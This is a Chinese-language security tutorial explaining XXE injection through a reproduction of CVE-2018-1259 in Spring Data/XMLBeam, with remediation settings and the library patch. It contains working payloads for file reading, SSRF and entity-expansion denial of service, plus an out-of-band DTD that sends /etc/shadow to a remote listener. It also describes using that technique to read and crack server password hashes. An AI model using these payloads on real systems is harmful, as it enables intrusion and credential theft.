XXE萌新進階全攻略
首先宣告下本文為萌新向,旨在讓剛接觸XXE基本概念的小夥伴們可以熟練運用高階的XXE攻擊。本文涉及層面包括概念講解、程式碼審計、漏洞復現、漏洞利用、工具使用、安全開發,無論你是開發人員還是滲透工程師,都可以在這裡拿到你想要的。
在滲透領域、XXE相對來講入門門檻是偏高的,網上的各類XXE教程對於大牛還好,但對於一些零開發基礎的小夥伴來講,著實不太友好,所以我希望通過從最基礎的理論著手,為大家建立一個健全易懂的XXE漏洞復現,結合程式碼審計,更好的幫助大家更好的攻克這個點。
程式碼審計涉及漏洞:
XML Entity Expansion Injection (XML實體擴充套件注入)
XML External Entity Injection (XML外部實體注入)
基本概念
在展開講XXE之前,我們必須得了解些基礎概念,因為本文重點為XXE,關於XML學習未提到的部分大家可以參照參考資料自我拓展。
XML
XML 指可擴充套件標記語言(eXtensible Markup Language)。
方便大家理解,這裡與HTML對比著給大家說一下:HTML和XML 為不同的目的而設計,HTML 被設計用來顯示資料,其焦點是資料的外觀。XML 被設計用來傳輸和儲存資料,其焦點是資料的內容。HTML 旨在顯示資訊,而 XML 旨在傳輸資訊。
DTD
DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。
DTD的宣告:指XML文件中宣告該文件的DTD或DTD來源的部分,可以包含在使用它的XML文件內部,也可以以獨立的DTD文件(*.dtd)文件存在。
所以DTD一般認為有兩種引用或宣告方式:
1、內部DTD:即對XML文件中的元素、屬性和實體的DTD的宣告都在XML文件中。
2、外部DTD:即對XML文件中的元素、屬性和實體的DTD的宣告都在一個獨立的DTD檔案(.dtd)中。
(網上有提到的引用公共DTD其實也算外部引用DTD的一種)
XML基本文件結構
<!--XML宣告--> <?xml version="1.0" encoding="UTF-8"?> <!--DTD,這部分可選的--> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <!--文件元素--> <foo>&xxe;</foo>
XXE的復現
說起最近比較火的XXE,不得不提2018年出現的spring中出現的XXE漏洞【CVE-2018-1259】,今天就拿它來開刀吧。
Spring Data Commons, versions 1.13 prior to 1.13.12 and 2.0 prior to 2.0.7, used in combination with XMLBeam 1.4.14 or earlier versions, contains a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion. An unauthenticated remote malicious user can supply specially crafted request parameters against Spring Data’s projection-based request payload binding to access arbitrary files on the system.
從官方的描述中我們可以看到,此漏洞主要出現在XMLbeam1.4.14之前的版本,同時要求Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本,目前idea預設選擇的spring boot2.1.1版本漏洞已修復,我們可以看到預設的Spring Data Commons版本為2.1.0以上。
spring boot預設庫
spring boot 2.1.1資料包報錯
spring boot 2.1.1除錯報錯
顯然,這是因為spring boot 2.1.1預設禁用了DTD。
我們嘗試降低 spring-data-commons 版本,以便漏洞正常復現, 直接修改pom檔案,藉助maven自動解決依賴問題。
配置pom檔案
在這裡說點經驗之談,我對不同版本進行了嘗試,不知道是不是個人原因,我發現版本並沒有按照官方提到的那樣精確,比如這裡如果spring-data-commons採用2.0.6版本, XMLBeam採用1.4.13版本,你會發現DTD依然是被禁止的。所以本次漏洞復現我選擇了spring-data-commons2.0.6+ XMLBeam1.4.14的組合。
然後我們在springboot中簡單的寫個小功能,操作過程打算使用burpsuite復現,那就不寫前端頁面啦~
核心程式碼如下,用來接收通過XML提交的兩個資料:firstname/lastname
public interface UserPayload { @XBRead("//firstname") @JsonPath("$..firstname") String getFirstname(); @XBRead("//lastname") @JsonPath("$..lastname") String getLastname(); }
springboot不愧為新一代的懶人框架,簡單的調整下入口檔案,小程式完美啟動~
完美啟動
我們先來構造一個正常的XML文件~
<?xml version="1.0" encoding="UTF-8"?> <user><firstname>rabbit</firstname><lastname>666</lastname></user>
程式正常,over
然後我們來構造一個引用特殊的payload,增加DTD,為了演示效果,我們在C盤下新建一個txt檔案。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "file:///c:/1.txt" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
實現訪問資源
試著來訪問下系統檔案:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
訪問系統檔案
XXE的利用
這時候,我們不禁要問了,XXE漏洞究竟能用來做什麼?
任意檔案讀取
這裡,我們就不重複了,說到底,這是XXE最基本的使用方式,我們上面也一直體現了這一點。
SSRF
SSRF(Server-Side Request Forgery:伺服器端請求偽造),說白了就是藉助漏洞實現內網探測,我在80埠的網站下臨時放了我們剛剛的測試檔案,簡單修改下payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
當然啦,這裡的127.0.0.1可以替換成任意你想要的內網地址,我們就可以藉此實現對內網的探測。
SSRF
DOS攻擊
看到這裡會不會虎軀一震,這丫怎麼會?繼續看
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
此測試可以在記憶體中將小型 XML 文件擴充套件到超過 3GB 而使伺服器崩潰。
亦或者,如果目標是UNIX系統,
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe;</foo>
如果 XML 解析器嘗試使用 /dev/random 檔案中的內容來替代實體,則此示例會使伺服器(使用 UNIX 系統)崩潰。
遠端命令執行
這種情況很少見,並不是傳統意義上的任意命令執行,只是因為環境的特殊配置,導致XML與某些命令操作關聯,進而造成了命令執行。當PHP環境中的PHP expect模組被載入到了易受攻擊的系統或處理XML的內部應用程式上,就會造成我們說的這種情況,在這裡,我們不做展開講解。
修復建議
對 XML 解析器進行安全配置,使它不允許將外部實體包含在傳入的 XML 文件中。不管是上面語言,抑或是使用了市面是哪種主流XML解析方案,最終的解決方案都可以如此借鑑:
為了避免 XXE injections,應為 XML 代理、解析器或讀取器設定下面的屬性:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
如果不需要 inline DOCTYPE 宣告,可使用以下屬性將其完全禁用,這種方式顯然更直接,我們搭建環境中一直在吐槽DTD被禁用,就是這個意思,DOCTYPE被禁,也就禁掉了DTD的根本:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
說到這裡你可能會突然提到一個問題,emmmm,那XMLbeam的XXE漏洞是如何修復的呢?
我給大家找到了XMLbeam1.4.14和1.4.15中的createDocumentBuilderFactory()函式方便大家做下對比:
配置檔案路徑
#####1.4.14 public DocumentBuilderFactory createDocumentBuilderFactory() { DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance(); if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) { instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy)); } return instance; }
#####1.4.15 public DocumentBuilderFactory createDocumentBuilderFactory() { DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance(); instance.setXIncludeAware(this.isXIncludeAware); instance.setExpandEntityReferences(this.isExpandEntityReferences); if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) { instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy)); } return instance; }
後者設定了新的方法用於禁用DTD。
我們順便去找下官方提供的漏洞升級補丁,以方便理解。
下載地址: https://pan.baidu.com/s/161gWHgR6Dc7A-eSWe39ikg
然後我們在第106行處會看到如下配置,正是我們剛剛提到的解決方案。
private static final String NON_EXISTING_URL = "http://xmlbeam.org/nonexisting_namespace"; private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", // "http://xml.org/sax/features/external-general-entities#false", // "http://xml.org/sax/features/external-parameter-entities#false", // "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };
XXE進階
我們通過之前的講解,大家可以稍微總結一下,要想實現XXE,基本上要具備兩個條件:1、支援DTD,2、資料可操控
前者是我們xxe的必須條件,暫且不談,但後者如果我們提交的資料並未通過返回包返回回來,我們也就看不到了。
對於這種資料無回顯的情況,我們引出 OOB攻擊的概念,即 資料外帶( Out of Band )。
我們可以像網上相關教程那樣,通過自己寫一個頁面用來接受目標伺服器傳回的內容,但是實際測試效果並不穩定,在此本著萌新向、能懶則懶的正統思想給大家安利一個開源工具: xxeserve
https://github.com/joernchen/xxeserve
剛好最近專案碰上個非常好的例項,請原諒我打了厚厚的馬賽克來表達對客戶的尊重。
下圖是一個網站的登入視窗,隨便嘗試登入一下,發現使用者名稱密碼採用xml的格式進行上傳。
我們對登陸功能進行測試,嘗試了下DTD,發現沒有被禁掉!行動!
今日demo
我們使用正常邏輯進行嘗試!發現返回包並沒有存在可供我們操縱的任何資料。
正常邏輯
那麼,這裡我們的想法就是:伺服器既然無法給我們回顯資料,我們能不能嘗試將已構造好的引數,通過例如HTTP的方式返回到我們看得到的地方?
於是,開始我們的OOB攻擊!
xxeserve 是基於ruby開發的,如果懶於自己搭建ruby runingtime,那就丟了parrotsec / kali上吧。
這裡還有一個問題,就是我們的PC處於內網環境,如何正常接受返回的資料呢?
frp反向代理完美解決了我們的顧慮。
#frpc.ini [xxe] type = tcp local_ip = 127.0.0.1 local_port = 2333 remote_port = 2333
#DTD <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://*.*.*.*:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>
執行xxeserve,在指定埠進行監聽:
xxeserve
傳送構造好的payload,雖然發現xml解析錯誤的提示:
傳送payload
但是,xxeserve卻成功監聽到了我們想要讀取的檔案,如圖中的使用者hash:
xxeserve監聽
如果你要問這個漏洞有多麼可怕。
emmmmm,我們只是看到一個網站的登入介面,然後在其它什麼也不知道的情況下,可以直接任意讀取該伺服器上檔案,如passwd、shadow等。
當然,此次專案中我們直接讀取到使用者hash併成功解密,直接登入了該伺服器,可謂順利。
*本文作者:rabbitmask,本文屬 FreeBuf原創獎勵計劃,未經許可禁止轉載。